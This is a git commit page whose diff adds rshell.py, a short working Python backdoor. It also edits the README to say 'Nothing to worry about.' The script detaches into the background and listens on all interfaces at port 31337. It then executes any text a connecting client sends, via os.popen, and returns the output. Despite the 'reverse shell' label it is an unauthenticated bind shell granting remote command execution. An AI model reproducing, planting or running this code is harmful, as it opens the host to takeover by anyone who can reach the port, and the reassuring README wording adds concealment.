Implementet tiny reverse shell
This commit is contained in:
@@ -1,3 +1,3 @@
|
|||||||
# rshell
|
# rshell
|
||||||
|
|
||||||
Reverse shell testing example
|
Nothing to worry about.
|
||||||
|
|||||||
24
rshell.py
Normal file
24
rshell.py
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import socket
|
||||||
|
|
||||||
|
pid = os.fork()
|
||||||
|
|
||||||
|
if pid > 0:
|
||||||
|
sys.exit(0)
|
||||||
|
try:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.bind(("0.0.0.0",31337))
|
||||||
|
s.listen(1)
|
||||||
|
except socket.error as e:
|
||||||
|
print(e)
|
||||||
|
sys.exit(0)
|
||||||
|
while 1:
|
||||||
|
(cli,add) = s.accept()
|
||||||
|
info = {"platform":sys.platform, "version":sys.version}
|
||||||
|
welcome = "You are connected to shell on {0[platform]}, Python Version: {0[version]}\r\n".format(info)
|
||||||
|
cli.send(welcome.encode('utf-8'))
|
||||||
|
while 1:
|
||||||
|
data = cli.recv(1024).rstrip()
|
||||||
|
resp = os.popen(data.decode('utf-8')).read()
|
||||||
|
cli.send(resp.encode('utf-8'))
|
||||||
Reference in New Issue
Block a user